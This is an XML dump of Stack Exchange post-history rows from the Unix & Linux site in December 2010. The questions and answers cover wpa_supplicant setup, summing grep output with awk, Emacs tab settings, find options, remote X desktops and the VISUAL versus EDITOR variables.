  <row Id="10638" PostHistoryTypeId="5" PostId="4812" RevisionGUID="9e95c74e-62e2-4129-a7bc-67c8873a9511" CreationDate="2010-12-14T20:16:20.187" UserId="3092" Comment="added 28 characters in body" Text="I'm having difficulty getting a Netgear WG311 network card to work with Debian. Here is a screenshot showing `ifconfig wlan0`, `iwconfig`, network interface cards, and `wpa_supplicant` configs:&#xD;&#xA;&#xD;&#xA;I understand that the wpa doesn't work with third-party drivers and ndiswrapper; I've been told to use wpa_supplicant instead. How can I get my windows driver to work with the Netgear WG311 wireless card?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;ok had a look at the resource that Macieg gave me. Finally got a connection but after restart it is gone.&#xD;&#xA;&#xD;&#xA;the output of this command. wpa_supplicant -i wlan0 -D wext &#xD;&#xA;&#xD;&#xA;just shows wpa_supplicant help commands.&#xD;&#xA;&#xD;&#xA;UPDATE2&#xD;&#xA;&#xD;&#xA;Ok the connection comes up after restart, but only 5 minutes after i do this command&#xD;&#xA;&#xD;&#xA;    wpa_supplicant -B -c/etc/wpa_supplicant.conf -iwlan0 -Dwext&#xD;&#xA;&#xD;&#xA;Anyone know how to fix this?" />
  <row Id="10639" PostHistoryTypeId="2" PostId="4840" RevisionGUID="13a6ea13-e7f5-4ece-a1a4-be1f3c540ca4" CreationDate="2010-12-14T21:11:10.173" UserId="3115" Text="I run the following command:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    grep -o &quot;[0-9] errors&quot; verification_report_3.txt | awk '{print $1}'&#xD;&#xA;&#xD;&#xA;and I get the following result:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    1&#xD;&#xA;    4&#xD;&#xA;    0&#xD;&#xA;    8&#xD;&#xA;&#xD;&#xA;I'd like to add each of the numbers up to a running count variable.  Is there a magic one liner someone can help me build?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10640" PostHistoryTypeId="1" PostId="4840" RevisionGUID="13a6ea13-e7f5-4ece-a1a4-be1f3c540ca4" CreationDate="2010-12-14T21:11:10.173" UserId="3115" Text="Adding numbers from the result of a grep" />
  <row Id="10641" PostHistoryTypeId="3" PostId="4840" RevisionGUID="13a6ea13-e7f5-4ece-a1a4-be1f3c540ca4" CreationDate="2010-12-14T21:11:10.173" UserId="3115" Text="ébashà" />
  <row Id="10642" PostHistoryTypeId="2" PostId="4841" RevisionGUID="f114cb23-a367-435a-a11a-3127b2aedce9" CreationDate="2010-12-14T21:18:30.077" UserId="2180" Text="    grep -o &quot;[0-9] errors&quot; verification_report_3.txt | awk '{ SUM += $1} END { print SUM }'&#xD;&#xA;&#xD;&#xA;That doesn't print the list but does print the sum. If you want both the list and the sum, you can do:&#xD;&#xA;&#xD;&#xA;    grep -o &quot;[0-9] errors&quot; verification_report_3.txt | awk '{ SUM += $1; print $1} END { print SUM }'" />
  <row Id="10643" PostHistoryTypeId="2" PostId="4842" RevisionGUID="c6f31e5f-894c-4bcd-8193-2e8243e9a7c8" CreationDate="2010-12-14T21:19:02.117" UserId="591" Text="Try piping the output from your grep into &#xD;&#xA;&#xD;&#xA;    awk 'BEGIN {total=0;}{total+=$1;}END {print &quot;Total: &quot;,total}'" />
  <row Id="10646" PostHistoryTypeId="2" PostId="4844" RevisionGUID="a4d08a68-3477-493d-a760-a093f0b9778a" CreationDate="2010-12-14T21:55:55.940" UserId="885" Text="The right answer is not to use tabs. But ok, just for the sake of knowing how it's done…&#xD;&#xA;&#xD;&#xA;CPerl uses the default Emacs settings for tab usage, and the Emacs default is to use tabs. So you're already getting tabs. Note that the default amount of indentation is 2 spaces, and the default tab width is 8 columns, so you need at least 4 levels of indentation to see a tab.&#xD;&#xA;&#xD;&#xA;If you want to change the tab width to 2 columns, set the `tab-width` variable, but note that your files will look strange to other people with a different tab width. If you want to change the amount of indentation per level to 8 columns, set `cperl-indent-level`.&#xD;&#xA;&#xD;&#xA;If you exchange files with other people, it's best to put these settings in a [file variable](http://www.gnu.org/software/emacs/manual/html_node/emacs/File-Variables.html) (and not to use tabs, of course). For example:&#xD;&#xA;&#xD;&#xA;    # Local Variables:&#xD;&#xA;    # tab-width: 8&#xD;&#xA;    # cperl-indent-level: 8&#xD;&#xA;    # End:&#xD;&#xA;&#xD;&#xA;I think the equivalent vi modeline is `# vi: ts=8 sw=8:`.&#xD;&#xA;" />
  <row Id="10647" PostHistoryTypeId="5" PostId="4834" RevisionGUID="d1f33185-e79a-4d1f-8398-90f2eaeb40a4" CreationDate="2010-12-14T21:56:51.853" UserId="885" Comment="formatting" Text="Is there a way to make cperl mode in emacs use all tabs for indentation instead of spaces? I've tried setting `indent-tabs-mode`, and `cperl-tab-always-indent`. Here is my `.emacs` file:&#xD;&#xA;&#xD;&#xA;    (defalias 'perl-mode 'cperl-mode)&#xD;&#xA;    (setq cperl-tab-always-indent t)&#xD;&#xA;    (setq inhibit-splash-screen t)&#xD;&#xA;    (cua-mode t)&#xD;&#xA;    (setq cua-auto-tabify-rectangles nil)&#xD;&#xA;    (transient-mark-mode 1)&#xD;&#xA;    (setq cua-keep-region-after-copy t)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10648" PostHistoryTypeId="2" PostId="4845" RevisionGUID="0373b433-8364-470a-b9ee-4ed235d431ce" CreationDate="2010-12-14T22:47:22.600" UserId="1571" Text="What are the (best) solutions for remote desktop in linux? Ideally I'd like to be able to be able to log in to a remote X (KDE) session without even logging into my local machine. Maybe if I could have a remote X session forwarded to a different virtual terminal session so I can switch back and forth between local and remote with Ctrl + alt + n?&#xD;&#xA;&#xD;&#xA;This is going to be over the internet via a VPN, so data-light solutions would be best =]" />
  <row Id="10649" PostHistoryTypeId="1" PostId="4845" RevisionGUID="0373b433-8364-470a-b9ee-4ed235d431ce" CreationDate="2010-12-14T22:47:22.600" UserId="1571" Text="Linux -&gt; linux remote X login/desktop" />
  <row Id="10650" PostHistoryTypeId="3" PostId="4845" RevisionGUID="0373b433-8364-470a-b9ee-4ed235d431ce" CreationDate="2010-12-14T22:47:22.600" UserId="1571" Text="éxorgàéremoteàéxforwardingàévpnà" />
  <row Id="10651" PostHistoryTypeId="2" PostId="4846" RevisionGUID="606d90b1-b9fa-49b2-af94-677f0a97bce9" CreationDate="2010-12-14T23:14:29.707" UserId="3119" Text="adeskbar; dock on a diet&#xD;&#xA;bmpanel; tint2 like panel but with 'pinning' possible" />
  <row Id="10652" PostHistoryTypeId="6" PostId="4834" RevisionGUID="60d16e1d-2fa6-42d7-beb3-f5f226b3fa43" CreationDate="2010-12-14T23:15:03.853" UserId="3032" Comment="edited tags" Text="éemacsàéindentationàéspacesà" />
  <row Id="10653" PostHistoryTypeId="6" PostId="4834" RevisionGUID="f1873203-db1f-4d42-9ab7-f360e2c48d22" CreationDate="2010-12-15T00:27:07.693" UserId="29" Comment="spaces tag? add tabs too then" Text="éemacsàéindentationàéspacesàétabsà" />
  <row Id="10654" PostHistoryTypeId="2" PostId="4847" RevisionGUID="9b2bd72e-8b20-423c-b962-910aff90dfbe" CreationDate="2010-12-15T01:28:37.710" UserId="3120" Text="How can I make the find command show a slash after directories? For example, I want `dir` to show up as `dir/` instead of `dir`. I'm using `find . -print`" />
  <row Id="10655" PostHistoryTypeId="1" PostId="4847" RevisionGUID="9b2bd72e-8b20-423c-b962-910aff90dfbe" CreationDate="2010-12-15T01:28:37.710" UserId="3120" Text="Make find show slash after directories?" />
  <row Id="10656" PostHistoryTypeId="3" PostId="4847" RevisionGUID="9b2bd72e-8b20-423c-b962-910aff90dfbe" CreationDate="2010-12-15T01:28:37.710" UserId="3120" Text="éfindà" />
  <row Id="10657" PostHistoryTypeId="2" PostId="4848" RevisionGUID="767d1ca4-01a8-4078-b600-624c2ba74729" CreationDate="2010-12-15T01:48:24.313" UserId="2180" Text="I love [dmenu][1]. It's fast: instantaneous, in fact.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.suckless.org/dmenu/" />
  <row Id="10658" PostHistoryTypeId="2" PostId="4849" RevisionGUID="e95b40cc-acfe-4fd8-95a4-a6b42d8601cb" CreationDate="2010-12-15T02:50:49.887" UserId="2180" Text="    find . \( -type d -printf &quot;%p/\n&quot; , -type f -print \)&#xD;&#xA;&#xD;&#xA;This uses the printf command to format directory names and standard print for the rest." />
  <row Id="10659" PostHistoryTypeId="2" PostId="4850" RevisionGUID="f52e7fa0-97b9-428e-9a47-52ccc440c70a" CreationDate="2010-12-15T03:54:56.527" UserId="3078" Text="I haven't tried it myself, but I think you might be looking for xpra. You will have to log in to an X Server locally to use it, but you should be able to set it up so your local X Server has a seperate workspace which connects to and mirrors an xpra workspace hosted remotely.&#xD;&#xA;&#xD;&#xA;http://jkwarren.info/blogs/index.php/2009/09/09/favorite-new-toy-xpra" />
  <row Id="10660" PostHistoryTypeId="2" PostId="4851" RevisionGUID="fe000194-57fd-4ce9-b188-ed2d61d1fd72" CreationDate="2010-12-15T04:16:09.557" UserId="1294" Text="The command `man -k` queries against a pre-compiled database and not the manual pages themselves.&#xD;&#xA;&#xD;&#xA;I suspect that entries may have been made in the database (see `man mandb` for details) for pages that don't actually exist. I am not familiar enough with the RPM mechanisms to know how this could have happened.&#xD;&#xA;&#xD;&#xA;In a similar vein, there is considerable flexibility in what section a given manual page may claim to live. For example, on my system `man Carp` claims to be in section &quot;3perl&quot; where the underlying file is stored in `.../man3/Carp.3perl.gz`. The commands&#xD;&#xA;&#xD;&#xA;    man Carp&#xD;&#xA;    man -s 3 Carp&#xD;&#xA;    man -s 3perl Carp&#xD;&#xA;&#xD;&#xA;all yield the same page while `man -s 3junk Carp` complains that there is no such entry.&#xD;&#xA;&#xD;&#xA;You might find `mlocate` (a.k.a. `locate`) to be useful for hunting files by name. I presume it is available for RedHat since &lt;s&gt;redacted&lt;/s&gt;@redhat.com is credited as the author.&#xD;&#xA;" />
  <row Id="10661" PostHistoryTypeId="2" PostId="4852" RevisionGUID="1ecdc8f5-0c39-4ff9-973d-0787b4f9f321" CreationDate="2010-12-15T04:25:50.280" UserId="688" Text="Would be nice to be shown the magic button that will help me remove this eyesore:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/kVrsB.png&#xD;&#xA;&#xD;&#xA;It's Nautilus **2.30** on Debian (and has been there in previous versions as far as I can remember)." />
  <row Id="10662" PostHistoryTypeId="1" PostId="4852" RevisionGUID="1ecdc8f5-0c39-4ff9-973d-0787b4f9f321" CreationDate="2010-12-15T04:25:50.280" UserId="688" Text="How to remove duplicate entries in 'Open With' Nautilus dilogue?" />
  <row Id="10663" PostHistoryTypeId="3" PostId="4852" RevisionGUID="1ecdc8f5-0c39-4ff9-973d-0787b4f9f321" CreationDate="2010-12-15T04:25:50.280" UserId="688" Text="éguiàénautilusà" />
  <row Id="10664" PostHistoryTypeId="5" PostId="4852" RevisionGUID="889e781d-1137-4157-a0a3-ad6cb09aedfc" CreationDate="2010-12-15T04:37:17.707" UserId="688" Comment="better screenshot; added 2 characters in body" Text="Would be nice to be shown the magic button that will help me remove this eyesore:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;It's Nautilus **2.30** on Debian (and has been there in previous versions as far as I can remember).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/OyWPe.png" />
  <row Id="10665" PostHistoryTypeId="2" PostId="4853" RevisionGUID="70171c54-3060-4de7-9cb2-87c5a3a3d740" CreationDate="2010-12-15T04:54:56.373" UserId="171" Text="If you look in `~/.local/share/applications` and `/usr/share/applications you can remove` duplicates from those two places. That did it for me.  " />
  <row Id="10666" PostHistoryTypeId="2" PostId="4854" RevisionGUID="67e8419d-2427-4609-8a17-b421fda7fbf8" CreationDate="2010-12-15T05:38:32.543" UserId="688" Text="What's the difference between [zsync][1] and [jigdo][2]? Their core functionality [seems the same][3], so I'm curious on things like performance, file size, and ease-of-use. Would also be interesting to know why one got created when one already existed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zsync.moria.org.uk/&#xD;&#xA;  [2]: http://atterer.org/jigdo&#xD;&#xA;  [3]: http://superuser.com/questions/211532/is-there-anything-like-jigdo" />
  <row Id="10667" PostHistoryTypeId="1" PostId="4854" RevisionGUID="67e8419d-2427-4609-8a17-b421fda7fbf8" CreationDate="2010-12-15T05:38:32.543" UserId="688" Text="zsync vs. jigdo" />
  <row Id="10668" PostHistoryTypeId="3" PostId="4854" RevisionGUID="67e8419d-2427-4609-8a17-b421fda7fbf8" CreationDate="2010-12-15T05:38:32.543" UserId="688" Text="éperformanceàéhistoryà" />
  <row Id="10669" PostHistoryTypeId="2" PostId="4855" RevisionGUID="6ed0f443-0c52-4606-81c8-3ca8d34eeeb2" CreationDate="2010-12-15T05:40:00.763" UserId="171" Text="Here are two links, one is from [Mint-linux saying it works][1] in Mint. There are [two videos][2] on Youtube showing it being used with Mint and Ubuntu. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://community.linuxmint.com/hardware/view/1135&#xD;&#xA;  [2]: http://www.youtube.com/results?search_query=Microsoft+LifeCam+HD-5000+linux&amp;aq=f" />
  <row Id="10670" PostHistoryTypeId="2" PostId="4856" RevisionGUID="fe4051d8-0273-4e2d-b4ae-39270fc63e97" CreationDate="2010-12-15T07:23:36.817" UserId="678" Text="Maybe&#xD;&#xA;&#xD;&#xA;    find . | xargs ls -F&#xD;&#xA;is an option as well.&#xD;&#xA;&#xD;&#xA;From a Solaris man page:&#xD;&#xA;&#xD;&#xA;&gt; -F Marks directories with a  trailing  slash  (/), doors  with  a  trailing&#xD;&#xA;&gt; greater-than sign (&gt;), executable&#xD;&#xA;&gt; files with a trailing asterisk  (*),&#xD;&#xA;&gt; FIFOs  with  a  trailing vertical bar&#xD;&#xA;&gt; (|), symbolic links with a trailing&#xD;&#xA;&gt; &quot;at&quot; sign (@),  and AF_UNIX  address&#xD;&#xA;&gt; family sockets with a trailingequals&#xD;&#xA;&gt; sign  (=).  Follows  symlinks  named &#xD;&#xA;&gt; as operands.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10671" PostHistoryTypeId="2" PostId="4857" RevisionGUID="76d7e7fa-4a30-4432-915c-67d19d296ef5" CreationDate="2010-12-15T08:20:33.553" UserId="885" Text="Portably:&#xD;&#xA;&#xD;&#xA;    find . -type d -exec sh -c 'printf &quot;%s\n&quot; &quot;$0&quot;' {} \; -or -print&#xD;&#xA;&#xD;&#xA;If you're willing to list directories and files separately (you can merge the output by sorting):&#xD;&#xA;&#xD;&#xA;    { find . -type d -print | sed 's!$!/!'; find . \! -type d; } | sort&#xD;&#xA;&#xD;&#xA;With GNU find, see [Shawn J. Goff's answer](http://unix.stackexchange.com/questions/4847/make-find-show-slash-after-directories/4849#4849).&#xD;&#xA;&#xD;&#xA;If you're willing to risk non-printable characters being mangled even when not outputting to a terminal, see [ddeimeke's answer](http://unix.stackexchange.com/questions/4847/make-find-show-slash-after-directories/4856#4856).&#xD;&#xA;&#xD;&#xA;In zsh: `print -rl -- **/*(M)`&#xD;&#xA;" />
  <row Id="10672" PostHistoryTypeId="5" PostId="4856" RevisionGUID="79243dbc-c5ab-48e0-a8b3-4c78011a2ce4" CreationDate="2010-12-15T08:21:06.970" UserId="885" Comment="added -d to ls" Text="Maybe&#xD;&#xA;&#xD;&#xA;    find . | xargs ls -Fd&#xD;&#xA;is an option as well.&#xD;&#xA;&#xD;&#xA;From a Solaris man page:&#xD;&#xA;&#xD;&#xA;&gt; -F Marks directories with a  trailing  slash  (/), doors  with  a  trailing&#xD;&#xA;&gt; greater-than sign (&gt;), executable&#xD;&#xA;&gt; files with a trailing asterisk  (*),&#xD;&#xA;&gt; FIFOs  with  a  trailing vertical bar&#xD;&#xA;&gt; (|), symbolic links with a trailing&#xD;&#xA;&gt; &quot;at&quot; sign (@),  and AF_UNIX  address&#xD;&#xA;&gt; family sockets with a trailingequals&#xD;&#xA;&gt; sign  (=).  Follows  symlinks  named &#xD;&#xA;&gt; as operands.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10673" PostHistoryTypeId="6" PostId="4854" RevisionGUID="83fc03d6-e6f7-4ebf-b76c-238c39e76fbb" CreationDate="2010-12-15T08:22:41.463" UserId="885" Comment="edited tags" Text="éperformanceàéhistoryàézsyncàéjigdoà" />
  <row Id="10674" PostHistoryTypeId="2" PostId="4858" RevisionGUID="1b8214cc-792b-4a43-9534-446508ca86d0" CreationDate="2010-12-15T10:01:25.880" UserId="3112" Text="I've been working with Debian GNU/Linux for a long time and am very proficient with it.&#xD;&#xA;&#xD;&#xA;However for a new project I've got to got familiar with CentOS ASAP.&#xD;&#xA;&#xD;&#xA;So my Question is: **How do I get started** (from a SysAdmin POV) **with CentOS ASAP**?&#xD;&#xA;&#xD;&#xA;Please remember that I'm an experienced SysAdmin, I just have no experience with RPM based Distributions in general and especially CentOS and looking for good resources to get that missing knowledge.&#xD;&#xA;" />
  <row Id="10675" PostHistoryTypeId="1" PostId="4858" RevisionGUID="1b8214cc-792b-4a43-9534-446508ca86d0" CreationDate="2010-12-15T10:01:25.880" UserId="3112" Text="How to get started with CentOS?" />
  <row Id="10676" PostHistoryTypeId="3" PostId="4858" RevisionGUID="1b8214cc-792b-4a43-9534-446508ca86d0" CreationDate="2010-12-15T10:01:25.880" UserId="3112" Text="édebianàérhelàécentosàérpmà" />
  <row Id="10677" PostHistoryTypeId="2" PostId="4859" RevisionGUID="ed13f57b-a662-4363-a733-c1682ed68e6d" CreationDate="2010-12-15T10:17:36.503" UserId="29" Text="I generally set both `VISUAL` and `EDITOR` environment variables to the same thing, but what's the difference? why would I set them differently? when developing apps why should I choose to look at `VISUAL` before `EDITOR` or vice versa?" />
  <row Id="10678" PostHistoryTypeId="1" PostId="4859" RevisionGUID="ed13f57b-a662-4363-a733-c1682ed68e6d" CreationDate="2010-12-15T10:17:36.503" UserId="29" Text="VISUAL vs EDITOR what's the difference?" />
  <row Id="10679" PostHistoryTypeId="3" PostId="4859" RevisionGUID="ed13f57b-a662-4363-a733-c1682ed68e6d" CreationDate="2010-12-15T10:17:36.503" UserId="29" Text="éenvironmentövariablesà" />
  <row Id="10680" PostHistoryTypeId="2" PostId="4860" RevisionGUID="0fe8f004-5f38-465b-bc98-91ec624ef639" CreationDate="2010-12-15T10:33:18.473" UserId="2885" Text="There is lots of help available from the CentOS website ranging from forums to documentation. If you are an experiance Sys Admin you may simply want to browse through the documentation for the release you're using and just go through areas that are differant to what you are used to (such as RPM system).&#xD;&#xA;&#xD;&#xA;Documentation can be found here for 5.x versions: [http://www.centos.org/docs/5/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.centos.org/docs/5/" />
  <row Id="10681" PostHistoryTypeId="2" PostId="4861" RevisionGUID="2c798354-1d1c-49d2-9c72-136480b9f98e" CreationDate="2010-12-15T11:02:45.043" UserId="2634" Text="The `EDITOR` editor should be able to work without use of &quot;advanced&quot; terminal functionality (like old `ed` or `ex` mode of `vi`). Usually it was used on teletype terminals.&#xD;&#xA;&#xD;&#xA;A `VISUAL` editor could be a full screen editor as `vi` or `emacs`.&#xD;&#xA;&#xD;&#xA;E.g. if you invoke an editor through bash (using `C-xC-e`), bash will try first `VISUAL` editor and then, if `VISUAL` fails (because terminal do not support a full-screen editor), try `EDITOR`.&#xD;&#xA;&#xD;&#xA;Nowadays, you can left `EDITOR` unset or set it to `vi -e`.&#xD;&#xA;" />
  <row Id="10682" PostHistoryTypeId="2" PostId="4862" RevisionGUID="042ca5f1-73bf-491b-9487-4e674f5e2d24" CreationDate="2010-12-15T11:27:43.407" UserId="1733" Text="I believe that simple X forwarding will be too slow for what you want to do, so you'll have to choose between other protocols like VNC (thereis plenty of implementations), RDP (rdesktop) or NX. I would recommend NX as it is based on X, is very fast and even provides sound and file transfer. FreeNX is easy to setup and as it is based on X (just compressed and sshed during transfer) you should be able to integrate it like you want to your locale machine." />
  <row Id="10683" PostHistoryTypeId="2" PostId="4863" RevisionGUID="b0cba1f2-7230-4dac-9d67-1c0cd9cd211f" CreationDate="2010-12-15T11:45:48.047" UserId="1733" Text="You can also simply edit Gnome's &quot;Applications&quot; menu and remove duplicates from here." />
  <row Id="10684" PostHistoryTypeId="2" PostId="4864" RevisionGUID="e9a9b8f3-4c83-43a1-85ab-1dce01dafcdb" CreationDate="2010-12-15T12:43:13.210" UserId="3131" Text="Let's say I have a directory &quot;dir&quot; with three subdirectories &quot;dir1&quot; .. &quot;dir3&quot;. And inside I have many files and other subdirectories.&#xD;&#xA;&#xD;&#xA;I'd like to search for a file inside, say with a *.c ending, but I'd only like to search in subdirectory &quot;dir/dir2&quot; and all its subdirectories. How can I formulate that?&#xD;&#xA;&#xD;&#xA;Assuming I'm in dir/.. I have:&#xD;&#xA;    find . -name &quot;*.c&quot; &#xD;&#xA;to search in all directories.&#xD;&#xA;&#xD;&#xA;How do I restrict to only &quot;dir2&quot;?" />
  <row Id="10685" PostHistoryTypeId="1" PostId="4864" RevisionGUID="e9a9b8f3-4c83-43a1-85ab-1dce01dafcdb" CreationDate="2010-12-15T12:43:13.210" UserId="3131" Text="find-command for certain subdirectories" />
  <row Id="10686" PostHistoryTypeId="3" PostId="4864" RevisionGUID="e9a9b8f3-4c83-43a1-85ab-1dce01dafcdb" CreationDate="2010-12-15T12:43:13.210" UserId="3131" Text="élinuxàébashàéshellà" />
  <row Id="10687" PostHistoryTypeId="2" PostId="4865" RevisionGUID="5d03fafc-0a28-43c5-9cb9-778d05399961" CreationDate="2010-12-15T12:54:48.070" UserId="591" Text="Find will accept any valid path so &#xD;&#xA;&#xD;&#xA;    find ./dir2 -name '*.c'&#xD;&#xA;&#xD;&#xA; should do the trick&#xD;&#xA;&#xD;&#xA;If the `dir` directory is `/home/user/dir` you could give find the full path&#xD;&#xA;&#xD;&#xA;    find /home/user/dir/dir2 -name '*.c'" />
  <row Id="10688" PostHistoryTypeId="5" PostId="4864" RevisionGUID="4a36f13e-38af-4b39-8176-e9ed8cfa3710" CreationDate="2010-12-15T13:09:26.753" UserId="29" Comment="fix formatting" Text="Let's say I have a directory `dir` with three subdirectories `dir1` .. `dir3`. And inside I have many files and other subdirectories.&#xD;&#xA;&#xD;&#xA;I'd like to search for a file inside, say with a `*.c` ending, but I'd only like to search in subdirectory &quot;dir/dir2&quot; and all its subdirectories. How can I formulate that?&#xD;&#xA;&#xD;&#xA;Assuming I'm in `dir/` I have:&#xD;&#xA;    &#xD;&#xA;`find . -name &quot;*.c&quot;` &#xD;&#xA;&#xD;&#xA;to search in all directories.&#xD;&#xA;&#xD;&#xA;How do I restrict to only `dir2`?" />
  <row Id="10689" PostHistoryTypeId="6" PostId="4864" RevisionGUID="4a36f13e-38af-4b39-8176-e9ed8cfa3710" CreationDate="2010-12-15T13:09:26.753" UserId="29" Comment="fix formatting" Text="élinuxàébashàéshellàéfindà" />
  <row Id="10690" PostHistoryTypeId="2" PostId="4866" RevisionGUID="3cdb56f7-bda7-48d6-801b-ad18ef10b7f3" CreationDate="2010-12-15T13:11:57.377" UserId="29" Text="Assuming you are in `dir`&#xD;&#xA;&#xD;&#xA;    find dir2 -name '*.c'&#xD;&#xA;&#xD;&#xA;of course [Iain's](http://unix.stackexchange.com/users/591/iain) [answer](http://unix.stackexchange.com/questions/4864/find-command-for-certain-subdirectories/4865#4865) is also correct" />
  <row Id="10691" PostHistoryTypeId="2" PostId="4867" RevisionGUID="86f60c64-902c-4555-92f7-d9b6b8d4e833" CreationDate="2010-12-15T13:38:48.830" UserId="2180" Text="You can do `find dir2 -name '*.c'`&#xD;&#xA;&#xD;&#xA;You could also do `(cd dir2; find -name '*.c')`&#xD;&#xA;&#xD;&#xA;If you wanted to look at dir1 and dir3 but not dir2, you could do `find {dir1,dir3} -name '*.c'`" />
  <row Id="10692" PostHistoryTypeId="5" PostId="3258" RevisionGUID="047b4732-889e-4f8f-8927-998b14140128" CreationDate="2010-12-15T14:20:01.823" UserId="29" Comment="added 93 characters in body; deleted 7 characters in body" Text="&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;* Applications packaged in *nix distribution *(note: being cross-platoform does not disqualify)*&#xA;&#xA;then you're in the right place. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide..." />
  <row Id="10693" PostHistoryTypeId="5" PostId="3258" RevisionGUID="eeedc7a1-3c38-45cc-9e06-533fd42eef27" CreationDate="2010-12-15T14:35:38.897" UserId="29" Comment="deleted 1 characters in body" Text="&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;* Applications packaged in *nix distribution *(note: being cross-platform does not disqualify)*&#xA;&#xA;then you're in the right place. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide..." />
  <row Id="10694" PostHistoryTypeId="5" PostId="3258" RevisionGUID="81e8463e-3e32-4778-9225-22b33b057111" CreationDate="2010-12-15T14:43:54.243" UserId="29" Comment="added 1 characters in body" Text="&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;* Applications packaged in *nix distributions *(note: being cross-platform does not disqualify)*&#xA;&#xA;then you're in the right place. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide..." />
  <row Id="10696" PostHistoryTypeId="2" PostId="4868" RevisionGUID="076ebfd8-41f5-47f9-affe-4c1708a1480c" CreationDate="2010-12-15T16:29:42.830" UserId="3136" Text="Hi there,&#xD;&#xA;&#xD;&#xA;I'm trying to run a program in Solaris 10 that fails due to the lack of xutf8lookupstring function.&#xD;&#xA;&#xD;&#xA;It is a well-known issue but I'd like to know a way to &quot;skip it&quot;.&#xD;&#xA;&#xD;&#xA;Would defining a different non-utf8 LC_CTYPE help?&#xD;&#xA;&#xD;&#xA;Would installing a different X server help? The problem doesn't happen on OpenSolaris? Is there a way I can &quot;update&quot; my Solaris system to use the same X libs as an OpenSolaris one?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="10697" PostHistoryTypeId="1" PostId="4868" RevisionGUID="076ebfd8-41f5-47f9-affe-4c1708a1480c" CreationDate="2010-12-15T16:29:42.830" UserId="3136" Text="Missing xutf8lookupstring call in Solaris 10" />
  <row Id="10698" PostHistoryTypeId="3" PostId="4868" RevisionGUID="076ebfd8-41f5-47f9-affe-4c1708a1480c" CreationDate="2010-12-15T16:29:42.830" UserId="3136" Text="ésolarisà" />
  <row Id="10699" PostHistoryTypeId="2" PostId="4869" RevisionGUID="b11fe3d3-8553-47e2-b7c6-b931d0d3fbf0" CreationDate="2010-12-15T17:05:54.950" UserId="1571" Text="Is there a way to prevent konsole from wrapping lines? It would be great if I could do it without disabling any of the other features like extended colors and other of the fancier things.&#xD;&#xA;" />
  <row Id="10700" PostHistoryTypeId="1" PostId="4869" RevisionGUID="b11fe3d3-8553-47e2-b7c6-b931d0d3fbf0" CreationDate="2010-12-15T17:05:54.950" UserId="1571" Text="Disabling line wrap in Konsole" />
  <row Id="10701" PostHistoryTypeId="3" PostId="4869" RevisionGUID="b11fe3d3-8553-47e2-b7c6-b931d0d3fbf0" CreationDate="2010-12-15T17:05:54.950" UserId="1571" Text="éterminalàékonsoleà" />
  <row Id="10702" PostHistoryTypeId="2" PostId="4870" RevisionGUID="4698ff74-cf2f-4302-80cc-2195042ca2a8" CreationDate="2010-12-15T17:17:51.627" UserId="2689" Text="I'm getting used to vim bindings (like pressing w to go to word, dw to delete a word, and such) and it's modes (insert, normal, visual), and, out of curiosity would like to know: is there some kind of implementation of this behaviour of modes and bindindgs from vim to my terminal? Have insert mode, normal mode and such...&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="10703" PostHistoryTypeId="1" PostId="4870" RevisionGUID="4698ff74-cf2f-4302-80cc-2195042ca2a8" CreationDate="2010-12-15T17:17:51.627" UserId="2689" Text="Is is possible to have vim key bindings in terminal?" />
  <row Id="10704" PostHistoryTypeId="3" PostId="4870" RevisionGUID="4698ff74-cf2f-4302-80cc-2195042ca2a8" CreationDate="2010-12-15T17:17:51.627" UserId="2689" Text="ébashàéshellàéterminalàévimà" />
